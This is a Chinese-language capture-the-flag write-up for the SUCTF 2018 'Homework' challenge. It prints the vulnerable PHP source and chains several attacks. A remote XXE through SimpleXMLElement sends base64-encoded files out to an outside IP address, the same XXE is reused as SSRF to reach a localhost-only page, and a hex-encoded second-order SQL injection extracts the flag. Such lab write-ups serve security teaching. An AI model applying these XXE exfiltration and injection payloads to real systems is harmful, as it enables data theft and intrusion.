[SUCTF 2018]Homework

SimpleXMLElement引入远程XML

随便注册一个账号登陆进去看看

image-20230311212956442

calc按钮回显结果,第一眼看到这个以为是什么骚姿势利用eval执行命令,但是这两个intval我努力挣扎了两下没办法绕过

但是仔细看这里传入的参数,calc不就是类名吗,剩下的三个就是参数了,这时候就到主角登场了

image-20230311213110573

SimpleXMLElement

php原生类,是一个用于解析XML文档中元素的内置类

1
2
3
4
5
6
7
public SimpleXMLElement::__construct(
string $data,
int $options = 0,
bool $dataIsURL = false,
string $namespaceOrPrefix = "",
bool $isPrefix = false
)

设置第三个参数dataIsURLtrue就可以实现远程xml文件的导入

第二个参数的常量值设置为2即可,第一个参数data就是我们引入外部实体的url

搭建aaa.dtd

1
2
3
4
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://39.105.125.61/evil.dtd">
%remote;%int;%send;
]>

evil.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read/convert.base64-encode/resource=function.php">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://39.105.125.61:666?q=%file;'>">

然后传参直接开梭

1
show.php?module=SimpleXMLElement&args[]=http://39.105.125.61/aaa.dtd&args[]=2&args[]=true

…………

想着直接盲猜flag文件,但都猜错了,然后尝试文件包含构造命令执行链子无果,直接命令执行data://text/palin,<?php echo system('ls');?>也不行,应该是把shell_exec过滤了⑧

只好老老实实的读文件了

image-20230311211625744

image-20230311210417606

SQL二次注入配合ssrf

过滤的好严格…..Orz

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<!DOCTYPE html>
<html>
<head>
<title>PHP Homework Platform</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<script type="application/x-javascript"> addEventListener("load", function() { setTimeout(hideURLbar, 0); }, false); function hideURLbar(){ window.scrollTo(0,1); } </script>
<link href="css/font-awesome.min.css" rel="stylesheet" type="text/css" media="all">
<link href="css/snow.css" rel="stylesheet" type="text/css" media="all" />
<link href="css/style.css" rel="stylesheet" type="text/css" media="all" />
<link type="text/css" rel="stylesheet" href="images/Styles/SyntaxHighlighter.css"></link>
</head>
<body>
<!-- /home/wwwroot/default-->
<div class="snow-container">
<div class="snow foreground"></div>
<div class="snow foreground layered"></div>
<div class="snow middleground"></div>
<div class="snow middleground layered"></div>
<div class="snow background"></div>
<div class="snow background layered"></div>
</div>

<div class="top-buttons-agileinfo">
</div>
<h1>PHP Homework Platform</h1>
<div class="main-agileits">
<?php
include("function.php");
include("config.php");

$username=w_addslashes($_COOKIE['user']);
$check_code=$_COOKIE['cookie-check'];
$check_sql="select password from user where username='".$username."'";
$check_sum=md5($username.sql_result($check_sql,$mysql)['0']['0']);
if($check_sum!==$check_code){
header("Location: login.php");
}
?>
<textarea name="code" class="php" rows="20" cols="55" disabled="disabled">
<?php readfile("./calc.php");?>
</textarea>
<div class="top-buttons-agileinfo">
<a href="show.php?module=calc&args[]=2&args[]=a&args[]=2">calc</a>
<a href="submit.php" class="active">Submit homework</a>
</div>
</div>
<script type="text/javascript" src="js/jquery-2.1.4.min.js"></script>
<script class="javascript" src="images/Scripts/shBrushPhp.js"></script>
<script class="javascript">
dp.SyntaxHighlighter.HighlightAll('code');
</script>
</body>
</html>

submit.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<!DOCTYPE html>
<html>
<head>
<title>PHP Homework Platform</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<script type="application/x-javascript"> addEventListener("load", function() { setTimeout(hideURLbar, 0); }, false); function hideURLbar(){ window.scrollTo(0,1); } </script>
<link href="css/font-awesome.min.css" rel="stylesheet" type="text/css" media="all">
<link href="css/snow.css" rel="stylesheet" type="text/css" media="all" />
<link href="css/style.css" rel="stylesheet" type="text/css" media="all" />
</head>
<body>
<div class="snow-container">
<div class="snow foreground"></div>
<div class="snow foreground layered"></div>
<div class="snow middleground"></div>
<div class="snow middleground layered"></div>
<div class="snow background"></div>
<div class="snow background layered"></div>
</div>
<h1>PHP Homework Platform</h1>
<?php
include("config.php");
include("function.php");

$username=w_addslashes($_COOKIE['user']);
$check_code=$_COOKIE['cookie-check'];
$check_sql="select password from user where username='".$username."'";
$check_sum=md5($username.sql_result($check_sql,$mysql)['0']['0']);
if($check_sum!==$check_code){
header("Location: login.php");
}
?>
<div class="main-agileits">
<div class="form-w3-agile">
<h2 class="sub-agileits-w3layouts">Submit Homework</h2>
<form action="submit.php" enctype="multipart/form-data" method="post">
<input type="file" name="file" placeholder="phpfile" required="" />
<?php echo "<input type=\"hidden\" name=\"sig\" value=".mt_rand().">";?>
<div class="submit-w3l">
<input type="submit" value="Submit">
</div>
</form>
</div>
</div>
<script type="text/javascript" src="js/jquery-2.1.4.min.js"></script>

</body>
</html>
<?php
upload_file($mysql);
?>

function.php

addslashes(trim($string));

一般遇到这种就是宽字节,二次注入,这里编码是utf-8,那么只需要看看哪里的sql语句调用了我们传入的参数即可~~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php

function sql_result($sql,$mysql){
if($result=mysqli_query($mysql,$sql)){
$result_array=mysqli_fetch_all($result);
return $result_array;
}else{
echo mysqli_error($mysql);
return "Failed";
}
}

function upload_file($mysql){
if($_FILES){
if($_FILES['file']['size']>2*1024*1024){
die("File is larger than 2M, forbidden upload");
}
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!sql_result("select * from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql)){
$filehash=md5(mt_rand());
if(sql_result("insert into file(filename,filehash,sig) values('".w_addslashes($_FILES['file']['name'])."','".$filehash."',".(strrpos(w_addslashes($_POST['sig']),")")?"":w_addslashes($_POST['sig'])).")",$mysql)=="Failed") die("Upload failed");
$new_filename="./upload/".$filehash.".txt";
move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
}else{
$hash=sql_result("select filehash from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql) or die("Upload failed");
$new_filename="./upload/".$hash[0][0].".txt";
move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
}
}else{
die("Not upload file");
}
}
}



function w_addslashes($string){
return addslashes(trim($string));
}



function do_api($module,$args){
$class = new ReflectionClass($module);
$a=$class->newInstanceArgs($args);
}
?>

config.php

1
2
3
4
5
6
7
8
<?php
$db="calc";
$dbusername="suctf";
$dbpassword="suctf";
$host="127.0.0.1";

$mysql=mysqli_connect($host,$dbusername,$dbpassword,$db) or die("connect failed");
?>

calc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php 
class calc{
function __construct__(){
calc();
}

function calc($args1,$method,$args2){
$args1=intval($args1);
$args2=intval($args2);
switch ($method) {
case 'a':
$method="+";
break;

case 'b':
$method="-";
break;

case 'c':
$method="*";
break;

case 'd':
$method="/";
break;

default:
die("invalid input");
}
$Expression=$args1.$method.$args2;
eval("\$r=$Expression;");
die("Calculation results:".$r);
}
}
?>

show.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
include("function.php");
include("config.php");
include("calc.php");

if(isset($_GET['action'])&&$_GET['action']=="view"){
if($_SERVER["REMOTE_ADDR"]!=="127.0.0.1") die("Forbidden.");
if(!empty($_GET['filename'])){
$file_info=sql_result("select * from file where filename='".w_addslashes($_GET['filename'])."'",$mysql);
$file_name=$file_info['0']['2'];
echo("file code: ".file_get_contents("./upload/".$file_name.".txt"));
$new_sig=mt_rand();
sql_result("update file set sig='".intval($new_sig)."' where id=".$file_info['0']['0']." and sig='".$file_info['0']['3']."'",$mysql);
die("<br>new sig:".$new_sig);
}else{
die("Null filename");
}
}

$username=w_addslashes($_COOKIE['user']);
$check_code=$_COOKIE['cookie-check'];
$check_sql="select password from user where username='".$username."'";
$check_sum=md5($username.sql_result($check_sql,$mysql)['0']['0']);
if($check_sum!==$check_code){
header("Location: login.php");
}

$module=$_GET['module'];
$args=$_GET['args'];
do_api($module,$args);
?>

注意这里的$file_info['0']['3']就是$_POST['sig'],他会把我们传入的sig拼接到查询语句最后,那就利用这个二次注入

1
sql_result("update file set sig='".intval($new_sig)."' where id=".$file_info['0']['0']." and sig='".$file_info['0']['3']."'",$mysql);
1
2
#function.php
if(sql_result("insert into file(filename,filehash,sig) values('".w_addslashes($_FILES['file']['name'])."','".$filehash."',".(strrpos(w_addslashes($_POST['sig']),")")?"":w_addslashes($_POST['sig'])).")",$mysql)=="Failed") die("Upload failed");

看到这里的$_POST['sig']也是在function.php插入时被过滤了的,但是有单引号包裹,因此可以利用十六进制编码来闭合

1
2
3
'or updatexml(1,concat('^',(select reverse(flag) from flag),'^'),1)#

0x276f7220757064617465786d6c28312c636f6e63617428275e272c2873656c656374207265766572736528666c6167292066726f6d20666c6167292c275e27292c312923

但是还有一个条件,

1
if($_SERVER["REMOTE_ADDR"]!=="127.0.0.1")

很简单,只需要把evil.dtd改动一下,这样就实现了ssrf

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/show.php?action=view&filename=asds.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://39.105.125.61:666?q=%file;'>">

image-20230311232109106

成功接受~~~

image-20230311233317885

1
2
3
4
5
6
flag{7719cf95-4263-498b-8427-4d

a="}7ac3bd78c0d4-7248-b894-3624-59"
print(a[::-1])

95-4263-498b-8427-4d0c87db3ca7}